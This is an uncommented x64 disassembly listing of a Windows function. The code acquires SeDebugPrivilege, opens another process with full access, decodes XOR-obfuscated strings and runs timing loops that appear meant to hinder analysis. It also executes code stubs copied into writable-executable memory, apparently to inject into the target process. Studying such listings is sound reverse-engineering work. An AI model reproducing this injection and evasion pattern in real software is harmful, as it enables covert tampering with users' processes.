mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x60], rdi
lea rax, [rsp + 0x60]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140022c10
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x78]
call fcn.140006e30
nop
mov rbx, qword [rbp - 0x68]
test rbx, rbx
je 0x140022c6f
mov rsi, qword [rbp - 0x60]
mov r14, qword [rbp - 0x78]
nop word [rax + rax]
lea rdx, [rbp - 0x78]
cmp rsi, 0xf
cmova rdx, r14
movzx edx, byte [rdx + rdi]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006770
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rdi
cmp rdi, rbx
jne 0x140022c40
lea rcx, [rbp - 0x78]
call fcn.1400040d0
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400239f8
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 0x20], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x20]
mov edx, Ordinal_41
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140022cf8
mov dword [rbp - 0x18], r12d
mov dword [rbp - 0xc], 2
lea r8, [rbp - 0x14]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x140022cee
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [rbp - 0x18]
xor edx, edx
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, r15d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r15, rax
mov qword [rsp + 0x50], rax
test rax, rax
jne 0x140022d75
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp - 0x3c], 0xa5825
movdqa xmm0, xmmword [0x14008fd00]
movdqu xmmword [rbp - 0x58], xmm0
mov dword [rbp - 0x48], 0x61662073
mov dword [rbp - 0x44], 0x64656c69
mov dword [rbp - 0x40], 0x7830203a
mov byte [rbp - 0x38], r15b
mov edx, eax
lea rcx, [rbp - 0x58]
call fcn.140002970
lea rcx, str.asfsafsajhfghsafgsaghfgsahfagfsaghfgshagfahgsfsa
call fcn.140013d30
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r13d, 0xfffffffe
jmp 0x1400239f8
lea r14, [rbp + 0x1498]
mov rsi, qword [r14]
mov qword [r14], rdi
mov dword [rbp - 0x80], edi
lea rdx, [rbp - 0x80]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
jne 0x140022de4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
movdqa xmm0, xmmword [0x14008fd40]
movdqu xmmword [rbp - 0x58], xmm0
movdqa xmm1, xmmword [0x14008fce0]
movdqu xmmword [rbp - 0x48], xmm1
movdqa xmm0, xmmword [0x14008fcc0]
movdqu xmmword [rbp - 0x38], xmm0
mov word [rbp - 0x28], 0x100
lea rcx, [rbp - 0x58]
call fcn.140016cd0
mov edx, ebx
lea rcx, [rbp - 0x58]
call fcn.140002970
mov qword [r14], rsi
jmp 0x140022e13
mov dword [rbp + 0x14b8], edi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0x14b8]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
mov eax, dword [rbp + 0x14b8]
cmp dword [rbp - 0x80], eax
sete al
mov qword [r14], rsi
test al, al
jne 0x140022e75
mov word [rbp - 0x35], 0xa
movdqa xmm0, xmmword [0x14008fcf0]
movdqu xmmword [rbp - 0x58], xmm0
movdqa xmm1, xmmword [0x14008fd10]
movdqu xmmword [rbp - 0x48], xmm1
mov word [rbp - 0x38], 0x6572
mov byte [rbp - 0x36], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp - 0x33], 0
lea rcx, [rbp - 0x58]
call fcn.140002970
lea rcx, str.asfsafsajhfghsafgsaghfgsahfagfsaghfgshagfahgsfsa
call fcn.140013d30
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r13d, 0xfffffffd
jmp 0x1400239f8
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov edx, eax
lea rcx, [rbp + 0x90]
call fcn.1400102d0
mov dword [rbp + 0x14b8], edi
lea rcx, [rbp - 0x80]
call fcn.14001a900
mov r14, qword [rbp - 0x80]
add r14, 0x5f5e100
movabs r15, 0xb2f4fc0794908cf3
nop dword [rax]
call sub.MSVCP140.dll__Query_perf_frequency
mov rbx, rax
call sub.MSVCP140.dll__Query_perf_counter
mov rcx, rax
cmp rbx, 0x989680
jne 0x140022ecf
imul rax, rcx, 0x64
jmp 0x140022f3e
cmp rbx, 0x16e3600
jne 0x140022f23
mov rax, r15
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r15
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x140022f3e
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x1400230c4
mov esi, 0x186a0
nop dword [rax]
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x140022f8a
nop word [rax + rax]
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140022f70
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r12d
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x140022fda
nop dword [rax + rax]
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140022fc0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rbp + 0x14b8]
add eax, ecx
mov dword [rbp + 0x14b8], eax
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14002302a
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140023010
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rbp + 0x14b8]
imul eax, ecx
mov dword [rbp + 0x14b8], eax
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14002307b
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140023061
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rbp + 0x14b8]
sub eax, ecx
mov dword [rbp + 0x14b8], eax
mov eax, dword [rbp + 0x14b8]
cdq
idiv ebx
mov dword [rbp + 0x14b8], eax
mov eax, dword [rbp + 0x14b8]
cdq
idiv ebx
mov dword [rbp + 0x14b8], edx
sub rsi, 1
jne 0x140022f50
jmp 0x140022eb0
mov eax, dword [rbp + 0x14b8]
mov dword [0x1400b3918], eax
movups xmm0, xmmword [str.fE_JIeSG]
movups xmmword [rsp + 0x60], xmm0
movsd xmm0, qword [0x14008e568]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x14008e570]
mov dword [rsp + 0x78], eax
movzx eax, byte [0x14008e574]
mov byte [rsp + 0x7c], al
mov r8d, edi
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
mov r15, qword [rsp + 0x50]
jl 0x140023223
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x64]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140023130
cmp r8d, 0x1d
jge 0x140023263
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140023230
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x58]
call fcn.140010090
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rbp - 0x58]
call fcn.14001dd30
nop
lea rcx, [rbp - 0x58]
call fcn.1400040d0
movsd xmm0, qword [str.FVMJ_e]
movsd qword [rsp + 0x50], xmm0
movzx eax, word [0x14008e580]
mov word [rsp + 0x58], ax
movzx eax, byte [0x14008e582]
mov byte [rsp + 0x5a], al
lea rax, [rbp + 0x1498]
movabs r14, 0xff00ff00ff00ff00
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], rax
mov rbx, qword [rax]
xor rbx, r14
mov qword [rsp + 0x60], rbx
mov qword [rax], rdi
mov ecx, edi
mov rax, qword [0x1400b4290]
lea r13, [0x140000000]
lea r12, [0x140006cf0]
test rax, rax
je 0x140023320
mov rdx, rdi
cmp rax, r12
je 0x14002330f
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0xb4290]
test rax, rax
jne 0x1400232f7
jmp 0x140023320
mov r8, qword [r13 + rdx*8 + 0xb45b0]
test r8, r8
jne 0x14002340f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140023349
mov r8, rdi
jmp 0x1400233ee
mov rax, r12
mov rcx, r8
mov edx, 3
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140023360
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400b4280]
mov qword [r13 + rax*8 + 0xb4290], r12
mov qword [r13 + rax*8 + 0xb45b0], r8
inc rax
mov qword [0x1400b4280], rax
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
mov dword [rbp + 0x14b8], Ordinal_301
mov dword [rbp - 0x80], 0x1f4
lea rax, [rbp + 0x1498]
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x60], rbx
mov qword [rax], rdi
mov ecx, edi
lea r14, [0x140006c80]
mov rax, qword [0x1400b4f30]
test rax, rax
je 0x14002348a
mov rdx, rdi
cmp rax, r14
je 0x140023479
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0xb4f30]
test rax, rax
jne 0x140023461
jmp 0x14002348a
mov r9, qword [r13 + rdx*8 + 0xb5250]
test r9, r9
jne 0x14002356f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x1400234b3
mov r9, rdi
jmp 0x14002354e
mov rax, r14
mov rcx, r9
mov edx, 3
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400234c0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400b4f20]
mov qword [r13 + rax*8 + 0xb4f30], r14
mov qword [r13 + rax*8 + 0xb5250], r9
inc rax
mov qword [0x1400b4f20], rax
lea r8, [rbp + 0x14b8]
lea rdx, [rbp - 0x80]
mov rcx, qword [sym.imp.KERNEL32.dll_Beep]
call r9
nop
mov dword [rbp + 0x14b8], 0x5dc
lea r12, [rbp + 0x1498]
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x60], rbx
mov qword [r12], rdi
mov ecx, edi
lea r14, [0x140006d90]
mov rax, qword [0x1400b5580]
test rax, rax
je 0x1400235f9
mov rdx, rdi
nop dword [rax + rax]
cmp rax, r14
je 0x1400235e8
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0xb5580]
test rax, rax
jne 0x1400235d0
jmp 0x1400235f9
mov r8, qword [r13 + rdx*8 + 0xb58a0]
test r8, r8
jne 0x1400236df
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140023622
mov r8, rdi
jmp 0x1400236be
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140023630
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400b5570]
mov qword [r13 + rax*8 + 0xb5580], r14
mov qword [r13 + rax*8 + 0xb58a0], r8
inc rax
mov qword [0x1400b5570], rax
lea rdx, [rbp + 0x14b8]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
mov qword [r12], rbx
mov dword [rbp - 0x80], 0xdcdbd0d0
mov dword [rbp - 0x7c], 0x100d3d3
lea rcx, [rbp - 0x80]
call fcn.140016a30
mov rdx, rax
lea rcx, [rbp - 0x78]
call fcn.140010090
mov r8, rax
lea rdx, [rbp - 8]
lea rcx, [0x1400b3970]
call fcn.14002f1e0
nop
movups xmm0, xmmword [str.u__XNepR_____mjOF]
movups xmmword [rsp + 0x60], xmm0
movzx eax, byte [0x14008e598]
mov byte [rsp + 0x70], al
mov r8d, edi
cmp esi, 2
jl 0x140023863
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x64]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140023770
cmp r8d, 0x11
jge 0x1400238a3
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140023870
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x58]
call fcn.140010090
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rbp - 0x58]
call fcn.14001dd30
nop
lea rcx, [rbp - 0x58]
call fcn.1400040d0
mov r8, qword [rbp]
mov rdx, qword [rbp - 8]
sub r8, rdx
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x38], 1
mov byte [rsp + 0x30], 1
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 1
mov r9b, 1
mov rcx, r15
call fcn.1400041a0
mov rcx, r15
test al, al
jne 0x1400239aa
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [str.SEJVH]
mov dword [rbp + 0x14b8], eax
movzx ecx, word [0x14008e5a0]
mov word [rbp + 0x14bc], cx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x14b8], 0x65
xor byte [rbp + 0x14b9], 0x37
xor byte [rbp + 0x14ba], 0x38
xor byte [rbp + 0x14bb], 0x39
xor cl, 0x3a
mov byte [rbp + 0x14bc], cl
xor byte [rbp + 0x14bd], 0x3b
xor al, 0x3c
mov byte [rbp + 0x14be], al
lea rdx, [rbp + 0x14b8]
lea rcx, [rbp - 0x58]
call fcn.140010090
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rbp - 0x58]
call fcn.14001dd30
nop
lea rcx, [rbp - 0x58]
call fcn.1400040d0
lea rcx, str.asfsafsajhfghsafgsaghfgsahfagfsaghfgshagfahgsfsa
call fcn.140013d30
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r13d, 0xfffffff8
jmp 0x1400239ee
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp - 8]
cmp rax, qword [rbp]
je 0x1400239be
mov qword [rbp], rax
call fcn.140025bae
call fcn.140025b40
call fcn.140025b98
call fcn.140025b56
call fcn.140025b6c
call fcn.140025b40
call fcn.140025b82
call fcn.140025b56
call fcn.140025b6c
mov r13d, edi
lea rcx, [rbp - 8]
call fcn.1400118e0
nop
cmp dword [rbp + 0x18], 0
je 0x140023a05
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov eax, r13d
lea r11, [rsp + 0x1570]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov dword [rbp + 0x18], edi
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3